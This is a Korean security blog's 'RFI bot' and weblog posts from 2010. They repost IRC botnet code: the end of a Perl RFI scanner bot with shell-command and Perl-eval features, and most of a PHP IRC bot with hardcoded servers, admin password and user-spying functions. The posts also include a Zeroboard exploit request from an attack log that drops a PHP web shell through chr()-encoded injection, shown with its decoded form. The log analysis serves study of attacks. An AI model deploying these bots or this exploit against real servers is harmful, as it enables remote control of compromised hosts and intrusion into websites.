 $hlogo."spy 0?15 Menampilkan konfigurasi Spy ",
 $hlogo."spyhost <your chan> 0?15 Channel host buat spy ",
 $hlogo."spychan <chan> 0?15 Channel yang akan di spy ",
 $hlogo."spyword <regex> 0?15 Teks yg akan di spy ",
 $hlogo."spy[found|show|clear] 0?15 Jumlah/Tampilkan/Bersihkan teks yg telah ditemukan ",
 $hlogo."raw <perintah> 0?15 Perintah Raw IRC ",
 $hlogo."cmd <perintah shell> 0?15 Mengeksekusi perintah di shell ",
 $hlogo."eval <kode perl> 0?15 Mengeksekusi kode perl ",
 $hlogo."quit 0?15 Quit dari IRC ",
 $hlogo."keluar 0?15 Quit dari IRC & Matikan semua proses Perl (killall)",
 );
 if    ( $level == 1 ) { push(@help, @hlp1); }
 elsif ( $level == 2 ) { push(@help,@hlp2); }
 elsif ( $level == 3 ) { push(@help,@hlp3); }
 foreach my $m (@help) { irc_msg($chan,$m); $i++; if ( $i % $conf{linez} == 0 ) { sleep($conf{sleepz}); } }
}

##[ CUSTOM MESSAGE ]##
sub msge { my ($chan,$se,$res) = @_; irc_msg($chan,"7,1 ".$se."15 ".$res." "); }
sub msgi { my ($chan,$judul,$info) = @_; irc_msg($chan,"0,1 [$judul]9 $info "); }
sub msgn { my ($chan,$se,$nxurl) = @_; irc_msg($chan,"8,1 ".$se."15 ".$nxurl." "); }
sub msgr { my ($chan,$se,$totr,$clr) = @_; irc_msg($chan,"9,1 ".$se."15 ".$totr."0 ".$clr." "); }
sub msgt { my ($chan,$se,$res) = @_; irc_msg($chan,"3,1 ".$se."15 ".$res." "); }
sub ntci { my ($chan,$judul,$info) = @_; irc_ntc($chan,"0,1 [$judul]9 $info "); }

##[ PERINTAH RAW IRC ]##
sub irc_raw  { my $data = $_[0]; print $sock "$data\r\n"; }
sub irc_nick { my $nick = $_[0]; irc_raw("NICK $nick"); }
sub irc_user { my $ident = $_[0]; irc_raw("USER $ident localhost * :FeeLScaNz?$versi and D|ablo was here  "); }
sub irc_msg  { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :$psn"); }
sub irc_act  { my ($to,$psn) = @_; irc_raw("PRIVMSG $to :ACTION $psn"); }
sub irc_ntc  { my ($to,$psn) = @_; irc_raw("NOTICE $to :$psn"); }
sub irc_join { my $to = $_[0]; irc_raw("JOIN $to"); }
sub irc_part { my $to = $_[0]; irc_raw("PART $to"); }
sub irc_quit { my $psn = $_[0]; irc_raw("QUIT :$psn"); exit; }

###############################
##[ FeeLCoMz Community 2010 ]##
###############################

'webhxxx > RFI bot' 카테고리의 다른 글

vulscan v8  (0) 2010.04.18
Pitbull Bot  (0) 2010.04.18
fx29sh 3.3.03.09  (0) 2010.04.18
RFI Bot 재현  (0) 2010.04.18
Fx29spreadz  (0) 2010.03.06
Posted by applicationlayer
:

fx29sh 3.3.03.09

webhxxx/RFI bot 2010. 4. 18. 12:01 |

'webhxxx > RFI bot' 카테고리의 다른 글

Pitbull Bot  (0) 2010.04.18
FeeLCoMz RFI Scanner Bot v5.3  (0) 2010.04.18
RFI Bot 재현  (0) 2010.04.18
Fx29spreadz  (0) 2010.03.06
irc서버올리기  (0) 2010.03.04
Posted by applicationlayer
:

RFI Bot 재현

webhxxx/RFI bot 2010. 4. 18. 03:41 |
간단하게..

'webhxxx > RFI bot' 카테고리의 다른 글

FeeLCoMz RFI Scanner Bot v5.3  (0) 2010.04.18
fx29sh 3.3.03.09  (0) 2010.04.18
Fx29spreadz  (0) 2010.03.06
irc서버올리기  (0) 2010.03.04
FeeLCoMz RFI Bot  (0) 2010.02.23
Posted by applicationlayer
:

허니팟

webhxxx/weblog 2010. 3. 14. 20:21 |

'webhxxx > weblog' 카테고리의 다른 글

SharinGan Scanner 1.2.1  (0) 2010.11.22
안드로이드 user-agent  (0) 2010.05.11
Zeroboard4 코드실행 취약점을 이용한 웹쉘공격  (0) 2010.03.09
Pangolin(MSSQL)  (0) 2009.12.18
User-Agent: Mediapartners-Google  (0) 2009.10.01
Posted by applicationlayer
:
얼마전에 발견한 제로보드공격로그입니다.

PoC를 그대로 썼네요
http://www.milw0rm.com/exploits/9590

/bbs/lib.php?REMOTE_ADDR=*/fputs(fopen(chr(46).chr(47).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(32).chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(36).chr(99).chr(109).chr(100).chr(41).chr(59).chr(32).chr(63).chr(62));/*&HTTP_SESSION_VARS[zb_last_connect_check]=a&HTTP_SERVER_VARS=1&HTTP_ENV_VARS=

알기쉽게 풀어보면=>

/bbs/lib.php?REMOTE_ADDR=*/fputs(fopen(./shell.php,w+),웹쉘내용);/*&HTTP_SESSION_VARS[zb_last_connect_check]=a&HTTP_SERVER_VARS=1&HTTP_ENV_VARS=

생성된 파일입니다
=====shell.php========
<? system($cmd); ?>

'webhxxx > weblog' 카테고리의 다른 글

안드로이드 user-agent  (0) 2010.05.11
허니팟  (0) 2010.03.14
Pangolin(MSSQL)  (0) 2009.12.18
User-Agent: Mediapartners-Google  (0) 2009.10.01
[webdav]웹 폴더서비스 이용시 발생하는 트래픽  (0) 2009.09.30
Posted by applicationlayer
:

Fx29spreadz

webhxxx/RFI bot 2010. 3. 6. 21:35 |
<?
set_time_limit(0);
define ('CRLF', "\r\n");
#######################################
$logobot=array(
"1(0,1D1,0e0,1a1,0t0,1H1)",
"2(0,2D2,0e0,2a2,0t0,2H2)",
"3(0,3D3,0e0,3a3,0t0,3H3)",
"4(0,4D4,0e0,4a4,0t0,4H4)",
"5(0,5D5,0e0,5a5,0t0,5H5)",
"6(0,6D6,0e0,6a6,0t0,6H6)",
"7(0,7D7,0e0,7a7,0t0,7H7)",
"12(0,12D12,0e0,12a12,0t0,12H12)",
"14(0,14D14,0e0,14a14,0t0,14H14)"
);
$nickbot=array("Dj-Vlo", "^Onepiece^", "Six^Pac", "cweety-loph", "flo[19]", "Satellite", "Ginna", "Adistia", "Afdeling", "Vj-Desta",
"witta", "aishela", "kakashi|-_-|", "dhonni", "ce`bugiz", "home_edition2002", "Devi", "DeFi", "n-the", "spider-bh", "Chuwite",
"^cha^", "dhani", "tiara-21", "xandra", "brontoX", "xorax", "_Nami_", "tebZ", "januar", "coofie", "aidiL", "Freestyle",
"wanted", "Contiex`s", "sh[a]nie", "[A]ntIc", "aRindha", "armYgiRl", "j-hard", "N[-]Cus", "F[and]I", "^elvita^", "E-kha", "[dinda]", "Nuning", "chatia",
"^mami^", "violita", "Millie", "utt[i]", "majestic", "DiaZ", "vhira", "[Zoro]", "Lollita", "Vie-Net", "cj-Wike", "PrinceZz", "^tian^",
"_tian_", "N1ght", "CrowNX", "mbah_matre", "recha", "Robbin", "R-elf", "[Y]u[S]t", "borobudur", "diagonal", "Mrs_Dora", "andreanus", "alvin", "derby",
"Scolari", "buttet", "X-LiFe", "sanji", "icha_beL", "undercover", "[S]idayu", "chopper", "isabelia", "TinaToon", "kop[r]al", "Sima`S",
"Mb[o_o]let", "Marrie", "[L]ea", "chilis", "[3rd]", "ussop", "raru", "danny[Z]", "cHApoenk", "mariana", "D-Luffy", "hania",
"patricia", "[BG]1001", "p[hobi]a", "sastra", "psychologi", "kinyo", "bu_RT", "Bu-Guru", "Hana",
"Biografi", "van-van", "[ori]an", "omeleter", "cinta^giRL", "ce_Hacker", "master_crack", "JAM5^_^", "^_^kamu",
"the-loyed", "kani4","jefriansyah", "haidir", "hartawan", "faulin", "theresia", "ernawati", "anggita", "yusniar", "kurniadi", "Rosfina",  "coloids"
);

$identbot=array("2nd", "3nd", "vie", "hack", "1st", "log", "admin", "Luffy", "gadiz", "user", "d`vie", "voice",
"Devi", "DeFi", "24072005", "3D", "vie-", "cHopper", "Loph", "zoro", "sanji", "M4c4n", "LinuX", "ussop",
"vj", "Dj"
);

$realbot=array("14(0,14D14,0e0,14a14,0t0,14H14)",
           "빼?5p4u5d4e5L빼?,
           "빼?4p5u4d5e4L빼?,
);
$helpbot = array($logobot[rand(0,count($logobot) - 1)]." - RuNNINg WiTH PHpBoT",
        "IRC COMMAND..!",
           "12^Login <password> 4- 2Login To Bot",
           "12^Logout 4- 2Logout From Bot",
           "12.Up 4- 2Op Bot",
           "12.Down 4- 2Deop Bot",
           "12.O |#chan| <nick> 4- 2Op Spesifik Nick",
           "12.Do |#chan| <nick> 4- 2DeOp Spesifik Nick",
           "12.H |#chan| <nick> 4- 2HalfOp Spesifik Nick",
           "12.Dh |#chan| <nick> 4- 2DeHalfOp Spesifik Nick",
           "12.V |#chan| <nick> 4- 2Voice Spesifik Nick",
           "12.Dv |#chan| <nick> 4- 2DeVoice Spesifik Nick",
           "12.K |#chan| <nick> |msg| 4- 2Kick Spesified Nick",
           "12.Kc |#chan| <nick> |msg| 4- 2Kick Spesified Nick (ChanServ Stuf)",
           "12.Kb |#chan| <nick> |msg| 4- 2KickBan Spesified Nick",
           "12.B |#chan| <nick|hostmask> 4- 2Ban Nick Or Hostmass",
           "12.Ub |#chan| <nick|hostmask> 4- 2UnBan Nick Or Hostmass",
           "12.J <#chan> 4- 2Join Specified Channel",
           "12.P <#chan> |msg| 4- 2Part Specified Channel",
           "12.Cy <#chan> |msg| 4- 2Cycle On Specified Channel",
           "12.N <#newnick> 4- 2Change Nick",
           "12.S |#chan/nick| <msg> 4- 2Msg Channel Or Person",
           "12.A |#chan/nick| <text> 4- 2Action With Spesified Text",
           "12.Q <msg> 4- 2Kill Bot",
           "SYSTEM COMMAND..!",
           "12.Server <server> 4- 2Push Bot To Use Spec Server",
           "12.Servpass <password> 4- 2Use Spec Server Password",
           "12.Ident <identify> 4- 2Changing Bot Ident",
           "12.Realname <realname> 4- 2Changing Bot Realname",
           "12.Jump 4- 2Restarting bot also Accept Setting",
           "12.Autoaway <on/off> 4- 2On/Off Auto Away",
           "12.Userlist 4- 2List Of User",
        "6,1K1,4e6,1L1,4e6,1n1,4t6,1i1,4t6,1e");
######################################
//########### CONFIG BOT #############
$bot['nick']=$nickbot[rand(0,count($nickbot) - 1)];
$bot['ident']=$identbot[rand(0,count($identbot) - 1)];
$bot['realname']=$realbot[rand(0,count($realbot) - 1)];
$bot['pnick']="passwordnick";
$bot['chan']="#death";

$bot['local']="local";

$bot['server']="irc.cbn.net.id";
$bot['port']=6667;
$bot['userver']=0;
$bot['pserver']="remotepass";

$bot['admin']="KiddieS";
$bot['pass']="Devi";

$Admin=strtolower($bot['admin']);
$BOT_PASSWORD=strtolower($bot['pass']);
$auth = array($Admin => array("name" => $Admin, "pass" => $BOT_PASSWORD, "auth" => 1,"status" => "Admin"));
$zodiak = array("capricorn", "aquarius", "pisces", "aries", "taurus", "gemini", "cancer", "leo", "virgo", "libra", "scorpio", "sagitarius");

############## END #################


############# CONNECT TO IRC #########################################
$keluar=0;
$servdef=array("irc.indika.net.id","irc.cbn.net.id","irc.telkom.net.id","irc.jmn.net.id","irc.ads.net.id","irc.elnus.net.id","irc.uii.net.id","irc.velo.net.id","irc.pemkot-malang.go.id","irc.indo.net.id","irc.punc4k.com","irc.circleone.net.id","irc.dustshell.com","irc.plasa.com","irc.indoforum.org","irc.hotspeed.com.sg");
$retry=count($servdef)+1;
$attconnect=0;
$rtdc=0;
$isaway=false;
$autoaway=false;
$tmaway="";
$dmaway="";
$idaway=0;
$mylistson="";

$warnaboom="Merah;Kuning;Hijau;Ungu;Coklat;Hitam;Putih;Abu-abu;Emas;Silver;Maroon;Jingga;Orange";
$smsx['host']="firmanfisika.890m.com";
$smsx['port']=80;
$smsx['path']="http://firmanfisika.890m.com/smsform.php";
//$smsx['host']="localhost";
//$smsx['path']="http://localhost/sms.php";
$timeboom=20;
$user_chan_arr[][]="";
$ctcpversi="tian-BoT";
$banlist["chan"]="";
$spynick["nick"]="";
$spychan["chan"]="";
$sysspy="off";
$greetmsg["nick"]["nama"]="";
$greetmsg["nick"]["msg"]="";
$sysgreet="off";
$ping["ping"]["nick"]="";
$ping["ping"]["chan"]="";
$sysping="off";
$sysversi="off";
$sysjoinonkick="off";
$sysspoof="off";
$sysastro="off";
$syssms="off";
do {


$fp = fsockopen($bot['server'],$bot['port'], &$err_num, &$err_msg, 30);
if(!$fp) {
    $attconnect++;
    print "Sorry, the server " . $bot['server']. " is not currently available!";
    $bot['server']=$servdef[$attconnect-1];
    $bot['userver']=0;
    sleep(5);
    if ($attconnect >=$retry){
        $keluar=1;
        exit;
    }
}
else{
    foreach ($user_chan_arr as $cur_xchan) {
        $res_chan=$res_chan.';'.$cur_xchan["chan"];
    }
    unset($user_chan_arr);
    $user_chan_arr[][]="";
    $goboom=0;
    $onboom="off";
    $targetboom="";
    $rtdc++;
    if($rtdc ==3){
        $bot['userver']=0;
       
    }
    elseif($rtdc >=4){
        $bot['ident']="death";
        $bot['userver']=0;
        $rtdc=0;
    }
    $attconnect=0;
    if ($bot['userver']==1){
        $Header = 'PASS ' . $bot['pserver'] . CRLF;
    }
    $Header .= 'NICK ' . $bot['nick'] . CRLF;
    $Header .= 'USER ' . $bot['ident'] . ' ' . $bot['local'] . ' ' . $bot['server'] . ' :' . $bot['realname'] . CRLF;

    fputs($fp, $Header);
        $response = '';
       
        while (!feof($fp)) {
            $response = fgets($fp, 1024);
            ///###timer##//
            $ctime = time();
            $isonuptime = $ctime - $stime;
            if ($isonuptime>=15) {
                if(!$isonaway){
                    $stime=time(); $isonuptime=0; $isonaway=true;
                    if ($sysison=="on"){
                        $sendison=str_replace(";"," ",$mylistson);  fputs($fp,'ISON ' . $sendison . CRLF);
                    }
                }
            }
            if ($isonuptime<15){
                $isonaway=false;
            }
            ///////////////
            if($onboom=="on" && $sysboom="on"){
                $tboom=time()-$tmboom;
                if($tboom>=$timeboom){

                    fputs($fp, 'PRIVMSG CHANSERV :KICK '.$chanboom.' '. $targetboom.' 0,4Waktu Habis... BOOOOOOMMMM!!!!!'  . CRLF);
                    fputs($fp, 'KICK '.$chanboom.' '. $targetboom.' :0,4Waktu Habis... BOOOOOOMMMM!!!!!'  . CRLF);
                    $goboom=0;
                    $onboom="off";
                    $targetboom="";
                }
            }
            while (substr_count($response,CRLF) != 0) {
                $offset = strpos($response, CRLF);
                $DataLine = substr($response,0,$offset);
                if (substr($DataLine,0,1) == ':') {
                    #####TIMER#####
                    $mtimer=date("i");
                    $dtimer=date("s");
                    if($autoaway){
                    if($mtimer!=$tmaway){
                        if(!$isaway && $idaway >= 30){
                        fputs($fp, 'AWAY :away '.$logobot[rand(0,count($logobot) - 1)].  CRLF);
                        $tmaway=$mtimer;
                        $idaway=0;
                        }
                    }
                    if($dtimer!=$dmaway && !$isaway){
                        if($idaway>=32){$idaway=30;}
                        $idaway++;
                        $dmaway=$dtimer;
                    }
                    }
                    ###END TIMER###
                    $Params=explode(" ",$DataLine);
                    $offsetC = strpos($DataLine, ' :');
                    $dText = substr($DataLine,$offsetC+2);
                    if ((strpos($Params[0],"!")!=0) && (strpos($Params[0],"@")!=0) ) {
                        $fsrc[nick]=substr($Params[0],1,strpos($Params[0],"!")-1);
                        $fsrc[nkecil]=strtolower($fsrc[nick]);
                        $fsrc[user]=substr($Params[0],strpos($Params[0],"!")+1,(strpos($Params[0],"@")-strpos($Params[0],"!"))-1);
                        $fsrc[host]=substr($Params[0],strpos($Params[0],"@")+1);
                    }
                    ################## RAW ##################
                    if ( $Params[1] == '001' ) {
                        $bot['nick']=$Params[2];
                        $rtdc=0;
                    }
                    elseif ( $Params[1] == '004' ) {
                        fputs($fp, 'PING 1476786f'. CRLF);
                        fputs($fp, 'PRIVMSG Nickserv :identify '.$bot['pnick'].  CRLF);
                        fputs($fp,'JOIN ' . $bot['chan'] . CRLF);
                        if($res_chan){
                            $arres_chan=explode(";",$res_chan);
                            foreach ($arres_chan as $clist){
                                fputs($fp,'JOIN ' . $clist . CRLF);
                                sleep(1);
                            }
                        }
                    }
                    elseif ($Params[1]=='303') {
                        fputs($fp, 'PING 876786f'. CRLF);
                        $listson=strtolower($dText);
                        $xpgetison=explode(" ",$listson);
                        $i=0;
                        $jmlolol=0;
                        foreach ($xpgetison as $pgetlist){
                            if($pgetlist<>""){
                                $i++;
                                $sonson[$i]=$pgetlist;
                                $jmlolol=$i;
                            }
                        }
                        $i=0;
                        $mylistson=$mylistson . ';';
                        $xpgetison=explode(";",$mylistson);
                        $mylistson=ltrim($mylistson,";");
                        $mylistson=str_replace(";;","",$mylistson);
                        $mylistson=rtrim($mylistson,";");
                        foreach ($xpgetison as $pgetlist){
                            if ($pgetlist<>""){
                                $i++;
                                $lsonson[$i]=$pgetlist;
                                $jmlson=$i;
                            }
                        }
                        $dafonline="";
                        $dafoffline="";
                        for ($i = 1; $i <= $jmlson; $i++) {
                            $satup=$lsonson[$i];
                            $ds=0;
                            for ($p = 1; $p <= $jmlolol; $p++) {
                                if ($satup==$sonson[$p]){
                                    $ds=1;
                                }
                            }
                            if ($ds==1){
                                if(!$ada1["$satup"]){
                                    $dafonline .=$satup.' ';
                                    $ada1["$satup"]=true;
                                    $ada2["$satup"]=false;
                                }
                            }
                            else{
                                if(!$ada2["$satup"]){
                                    $dafoffline .=$satup.' ';
                                    $ada2["$satup"]=true;
                                    $ada1["$satup"]=false;
                                }
                            }
                        }
                        $dafonline=ltrim($dafonline);
                        $dafonline=rtrim($dafonline);
                        $dafoffline=ltrim($dafoffline);
                        $dafoffline=rtrim($dafoffline);
                        if ($dafonline){
                            fputs($fp, 'PRIVMSG '. $chanson .' :15(04Ison15) On IRC : '.$dafonline . CRLF);
                        }
                        if ($dafoffline){
                            fputs($fp, 'PRIVMSG '. $chanson .' :15(04Ison15) Left IRC : '.$dafoffline . CRLF);
                        }
                        unset($lsonson);
                        unset($sonson);
                    }
                    elseif ( $Params[1] == '305' ) {
                        $isaway=false;
                    }
                    elseif ( $Params[1] == '306' ) {
                        $isaway=true;
                    }
                    elseif ( $Params[1] == '353' ) {
                        $nickll=str_replace("@","",$dText);
                        $nickll=str_replace("&","",$nickll);
                        $nickll=str_replace("%","",$nickll);
                        $nickll=str_replace("+","",$nickll);
                        unset($user_chan_arr[strtolower($Params[4])]);
                        $user_chan_arr[strtolower($Params[4])]["nick"]=' '.$nickll.' ';
                        $user_chan_arr[strtolower($Params[4])]["chan"]=strtolower($Params[4]);
                    }
                    elseif ( $Params[1] == '367' ) {
                        fputs($fp, 'NOTICE '.$banlist["$Params[3]"]. ' :4[3+b4] 1- 3'.$Params[4].''.  CRLF);
                    }
                    elseif ( $Params[1] == '368' ) {
                        fputs($fp, 'NOTICE '.$banlist["$Params[3]"]. ' :4E1nd 4o1f 4c1hannel 4b1an 4l1ist'.  CRLF);
                        unset($banlist["$Params[3]"]);
                    }
                    elseif ( $Params[1] == '432' || $Params[1]=='433' ) {
                        $strnick = '';
                        for ($i=1; $i<=4; $i++){
                        $set = array(rand (65,90),rand(97,122));
                        $strnick .= chr($set[rand(0,1)]);
                        }
                        fputs($fp,'NICK ' . $bot['nick'] .'[' . $strnick .']'  . CRLF);
                    }
                    elseif ( $Params[1] == '465' || $Params[1]=='464' ) {
                        $bot['userver']=0;
                    }
                    elseif ( $Params[1] == 'NICK' ){
                        $newnicke = str_replace(':','',$Params[2]);
                        if(strtolower($fsrc[nick])==strtolower($bot['nick'])){
                        $bot['nick']=$newnicke;
                        }
                        $fsrc[nkecil]=strtolower($fsrc[nick]);
                        if ($auth["$fsrc[nkecil]"]) {
                            if ($auth["$fsrc[nkecil]"]["pass"]) {
                                if ($auth["$fsrc[nkecil]"]["auth"]==2) {
                                    $chnick = strtolower(str_replace(':','',$Params[2]));
                                    if ($fsrc[nkecil]!=$chnick) {
                                    $auth["$fsrc[nkecil]"]["auth"] = 1;
                                    fputs($fp,'PRIVMSG '.$chnick.' :You`re LogOut On Change Nick!' . CRLF);
                                    }
                                }
                            }
                        }
                        foreach ($user_chan_arr as $cur_xchan) {
                            $x_chan=$cur_xchan["chan"];
                            $user_chan_arr[strtolower($x_chan)]["nick"]=str_replace(' '.$fsrc[nick].' ',' '.$newnicke.' ',$user_chan_arr[strtolower($x_chan)]["nick"]);
                            $user_chan_arr[strtolower($x_chan)]["nick"]=str_replace(' ',' ',$user_chan_arr[strtolower($x_chan)]["nick"]);
                        }
                        ///////////////
                        if($sysspy=="on"){
                            $sppp=true;
                            if(strtolower($bot[nick])==$fsrc[nkecil]){$sppp=false;}
                            $notspy=false;
                            if ($auth["$fsrc[nkecil]"]) {
                                if ($auth["$fsrc[nkecil]"]["pass"]) {
                                    $notspy=true;
                                }
                            }
                            if($notspy){$sppp=false;}
                            if(strtolower($spynick["$fsrc[nkecil]"])==$fsrc[nkecil] && $sppp){
                                fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 3* '.$fsrc[nick] .' is now known as '. str_replace(':','',$Params[2]) . CRLF);
                            }


                        }
                        /////////////////
                        if($onboom=="on"){
                            if(strtolower($fsrc[nkecil])==strtolower($targetboom)){
                                fputs($fp, 'PRIVMSG CHANSERV :KICK '.$chanboom.' '. $newnicke.' 0,4Ups! BOOOOOOMMMM!!!!!'  . CRLF);
                                fputs($fp, 'KICK '.$chanboom.' '. $newnicke.' :0,4Ups! BOOOOOOMMMM!!!!!'  . CRLF);
                                $goboom=0;
                                $onboom="off";
                                $targetboom="";
                            }
                        }
                    }
                    elseif ( $Params[1] == 'PART' ){
                        $fsrc[nkecil]=strtolower($fsrc[nick]);
                        if ($auth["$fsrc[nkecil]"]) {
                            if ($auth["$fsrc[nkecil]"]["pass"]) {
                                if ($auth["$fsrc[nkecil]"]["auth"]==2) {
                                $auth["$fsrc[nkecil]"]["auth"] = 1;
                                fputs($fp,'PRIVMSG '.$fsrc[nick].' :You`re LogOut On Parting Channel!' . CRLF);
                                }
                            }
                        }
                        if($fsrc[nkecil]==strtolower($bot['nick'])){
                            unset($user_chan_arr[strtolower($Params[2])]);
                        }
                        else{
                        $user_chan_arr[strtolower($Params[2])]["nick"]=str_replace(' '.$fsrc[nick].' ',' ',$user_chan_arr[strtolower($Params[2])]["nick"]);
                        $user_chan_arr[strtolower($Params[2])]["nick"]=str_replace("  "," ",$user_chan_arr[strtolower($Params[2])]["nick"]);
                        }
                        ///////////////
                        if($sysspy=="on"){
                            $sppp=true;
                            if(strtolower($bot[nick])==$fsrc[nkecil]){$sppp=false;}
                            $notspy=false;
                            if ($auth["$fsrc[nkecil]"]) {
                                if ($auth["$fsrc[nkecil]"]["pass"]) {
                                    $notspy=true;
                                }
                            }
                            if($notspy){$sppp=false;}
                            if ( substr(strtolower($Params[3]),0,7)==":^login") {$sppp=false; }
                            if ( strtolower($Params[2])==strtolower($spychan["chan"])) {$sppp=false; }
                            if(strtolower($spynick["$fsrc[nkecil]"])==$fsrc[nkecil] && $sppp){
                                if($dText==""){
                                fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 3* '.$fsrc[nick] .' ('.$fsrc[user].'@'.$fsrc[host].') has left '.$Params[2] . CRLF);
                                }
                                else{
                                fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 3* '.$fsrc[nick] .' ('.$fsrc[user].'@'.$fsrc[host].') has left '.$Params[2] .' ('.$dText.')' . CRLF);
                                }
                            }


                        }
                        /////////////////
                    }
                    elseif ( $Params[1] == 'JOIN' ){
                        $fsrc[nkecil]=strtolower($fsrc[nick]);
                        if($fsrc[nkecil]==strtolower($greetmsg["$fsrc[nkecil]"]["nama"]) && $sysgreet=="on"){
                            $rndgreet=explode("[NG]",$greetmsg["$fsrc[nkecil]"]["msg"]);
                            $msgrndgreet=$rndgreet[rand(0,count($rndgreet) - 1)] ;
                            $addchan=str_replace(":","",$Params[2]);
                            $msgnya=str_replace("<|nick|>",$fsrc[nick],$msgrndgreet);
                            $msgnya=str_replace("<|chan|>",$addchan,$msgnya);
                            fputs($fp, 'PRIVMSG '. $addchan .' :'.$msgnya . CRLF);
                        }
                        $addchan=str_replace(":","",$Params[2]);
                        $user_chan_arr[strtolower($addchan)]["nick"] = $user_chan_arr[strtolower($addchan)]["nick"].' '.$fsrc[nick]. ' ';
                        $user_chan_arr[strtolower($addchan)]["nick"]=str_replace("  "," ",$user_chan_arr[strtolower($addchan)]["nick"]);
                       
                        ///////////////
                        if($sysspy=="on"){
                            $sppp=true;
                            if(strtolower($bot[nick])==$fsrc[nkecil]){$sppp=false;}
                            $notspy=false;
                            if ($auth["$fsrc[nkecil]"]) {
                                if ($auth["$fsrc[nkecil]"]["pass"]) {
                                    $notspy=true;
                                }
                            }
                            if($notspy){$sppp=false;}
                            if ( strtolower(str_replace(":","",$Params[2]))==strtolower($spychan["chan"])) {$sppp=false; }
                            if(strtolower($spynick["$fsrc[nkecil]"])==$fsrc[nkecil] && $sppp){
                                fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 3* '.$fsrc[nick] .' ('.$fsrc[user].'@'.$fsrc[host].') has joined '.str_replace(":","",$Params[2]) . CRLF);
                            }
                            }
                        /////////////////
                    }
                    elseif ( $Params[1] == 'KICK' ){
                        if(strtolower($bot['nick'])==strtolower($Params[3])){
                            if($sysjoinonkick=='on'){
                                sleep(1);
                                fputs($fp, 'PRIVMSG Chanserv :UNBAN '.$Params[2].' '.$bot['nick'] . CRLF);
                                sleep(1);
                                fputs($fp, 'JOIN '. $Params[2] . CRLF);
                            }
                            unset($user_chan_arr[strtolower($Params[2])]);
                        }
                        $user_chan_arr[strtolower($Params[2])]["nick"]=str_replace(' '.$Params[3].' ',' ',$user_chan_arr[strtolower($Params[2])]["nick"]);
                        $user_chan_arr[strtolower($Params[2])]["nick"]=str_replace("  "," ",$user_chan_arr[strtolower($Params[2])]["nick"]);
                       
                        ///////////////
                        if($spyspy=="on"){
                            $sppp=true;
                            if(strtolower($bot[nick])==strtolower($Params[3])){$sppp=false;}
                            $notspy=false;
                            if ($auth[strtolower($Params[3])]) {
                                if ($auth[strtolower($Params[3])]["pass"]) {
                                    $notspy=true;
                                }
                            }
                            if($notspy){$sppp=false;}
                            if(strtolower($spynick[strtolower($Params[3])])==strtolower($Params[3]) && $sppp){
                                if($dText){
                                fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 3* '.$Params[3].' was kicked by '.$fsrc[asli] .' ('.$dText.')' . CRLF);
                                }
                                else{
                                fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 3* '.$Params[3].' was kicked by '.$fsrc[asli] . CRLF);
                                }
                            }
                        }
                        /////////////////
                    }
                    elseif ( $Params[1] == 'QUIT' ){
                        $fsrc[nkecil]=strtolower($fsrc[nick]);
                        $auth["$fsrc[nkecil]"]["auth"] = 1;

                        foreach ($user_chan_arr as $cur_xchan) {
                            $x_chan=$cur_xchan["chan"];
                            $user_chan_arr[$x_chan]["nick"]=str_replace(' '.$fsrc[nick].' ',' ',$user_chan_arr[$x_chan]["nick"]);
                            $user_chan_arr[$x_chan]["nick"]=str_replace(' ',' ',$user_chan_arr[$x_chan]["nick"]);
                        }
                        ///////////////
                        if($sysspy=="on"){
                            $sppp=true;
                            if(strtolower($bot[nick])==$fsrc[nkecil]){$sppp=false;}
                            $notspy=false;
                            if ($auth["$fsrc[nkecil]"]) {
                                if ($auth["$fsrc[nkecil]"]["pass"]) {
                                    $notspy=true;
                                }
                            }
                            if($notspy){$sppp=false;}
                            if(strtolower($spynick["$fsrc[nkecil]"])==$fsrc[nkecil] && $sppp){
                                if($dText){
                                    fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 2* '.$fsrc[nick] .' ('.$fsrc[user].'@'.$fsrc[host].') Quit ('.$dText.')' . CRLF);
                                }else{
                                fputs($fp,'PRIVMSG ' . $spychan["chan"] . ' :15(04Log15) 2* '.$fsrc[nick] .' ('.$fsrc[user].'@'.$fsrc[host].') Quit' . CRLF);
                                }
                            }
                        }
                        /////////////////
                        if($onboom=="on"){
                            if(strtolower($fsrc[nkecil])==strtolower($targetboom)){
                                $goboom=0;
                                $onboom="off";
                                $targetboom="";
                            }
                        }
                    }
                    elseif ( $Params[1] == 'NOTICE' ){
                        if($Params[3]==':VERSION'){
                            if($datversi[strtolower($fsrc[nick])]["nick"]==strtolower($fsrc[nick])){
                                $vernya=str_replace(chr(1),"",$dText);
                                $vernya=substr($vernya,8);
                                fputs($fp, 'PRIVMSG '. $datversi[strtolower($fsrc[nick])]["chan"].' :15(04Info15) 7'.$fsrc[nick].' '.$vernya.  CRLF);
                            }
                            unset($datversi[strtolower($fsrc[nick])]["nick"]);
                            unset($datversi[strtolower($fsrc[nick])]["chan"]);
                        }
                        if($Params[3]==':PING'){
                            $dataping=str_replace(chr(1),"",$Params[4]);
                            $dataping=str_replace("\r","",$dataping);
                            $dataping=str_replace("\n","",$dataping);
                            $dataping=str_replace("","",$dataping);
                            if ($ping["$dataping"]["ping"]==$dataping){
                                $pong = time();
                                $pptime = $pong - $dataping;
                                $meni = "";
                                if ($pptime>=60) {
                                    $bag = $pptime / 60;
                                    $meni = floor($bag)."mins ";
                                    $sis = $pptime - ($meni*60);
                                    $pptime = $sis;
                                }
                                $deti = $pptime."secs";
                                $pptime = "$meni$deti";
                                fputs($fp,'PRIVMSG '.$ping["$dataping"]["chan"].' :15(pong04!15) Lag RepLy Bwt '.$fsrc[nick].' : '.$pptime . CRLF);
                            }
                            unset($ping["$dataping"]);
                        }
                       
                    }
                    elseif ($Params[1]== 'PRIVMSG' ) {
                        $TxtMsg=substr($DataLine,strpos($DataLine," :")+2);
                        $dCom=explode(" ", $TxtMsg);
                        $isuser=false;$islogin=false;

                        $fsrc[nkecil]=strtolower($fsrc[nick]);
                       
                        if($sysspy=="on"){
                            $sppp=true;
